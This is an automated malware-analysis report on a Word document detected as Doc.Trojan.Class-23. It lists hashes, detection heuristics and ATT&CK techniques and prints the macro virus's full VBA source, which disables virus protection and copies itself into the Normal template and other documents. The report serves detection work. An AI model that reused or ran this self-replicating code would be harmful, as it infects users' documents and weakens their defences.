Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 38dce5031d13fc64…

MALICIOUS

Office (OLE)

30.5 KB Created: 1998-06-13 02:40:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3f0aba710831badbb2044479866919ca SHA-1: cebe942da9242c305d968cc9d0c599addcb0aea9 SHA-256: 38dce5031d13fc64f999bc3852dfe9bcfedc376bc8ec135f022ab84102f5d627
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro markers and VBA macros, including AutoOpen and Auto_Close functions, indicating malicious intent. The AutoOpen macro attempts to export its code to 'c:\class.sys' and then re-inject it, a common technique for malware persistence or payload delivery. The ClamAV detection further confirms its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.Class-23 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-23
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
        .replaceline 1, "Sub AutoClose()"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1739 bytes
SHA-256: 4653fb24a85d21af340be430f84cf652b35c8c904064779d1fba13c009a63568
Detection
ClamAV: Doc.Trojan.Class-23
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
 
On Error GoTo out
 
Options.VirusProtection = False

Options.SaveNormalPrompt = False
 
Options.ConfirmConversions = False

ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
 
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
 
If Day(Now) = 31 Then MsgBox "•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•" + Chr$(13) + "•  VicodinES /CB /TNN •" + Chr$(13) + "•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•", 0, "This Is Class"
 
If nt = 0 Then
 
    Set host = NormalTemplate.VBProject.VBComponents.Item(1)
 
    ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"
 
End If
 
If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)
 
If nt > 0 And ad > 0 Then GoTo out
 
host.codemodule.AddFromFile ("c:\class.sys")
 
With host.codemodule
 
    For x = 1 To 4
 
    .deletelines 1
 
    Next x
 
End With
 
If nt = 0 Then
 
    With host.codemodule
 
    .replaceline 1, "Sub AutoClose()"
 
    .replaceline 69, "Sub ToolsMacro()"
    
    End With
 
End If
 
With host.codemodule
 
    For x = 2 To 70 Step 2
 
    .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Now
 
    Next x

End With
 
out:
 
If nt <> 0 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
 
End Sub

Sub ViewVBCode()

End Sub

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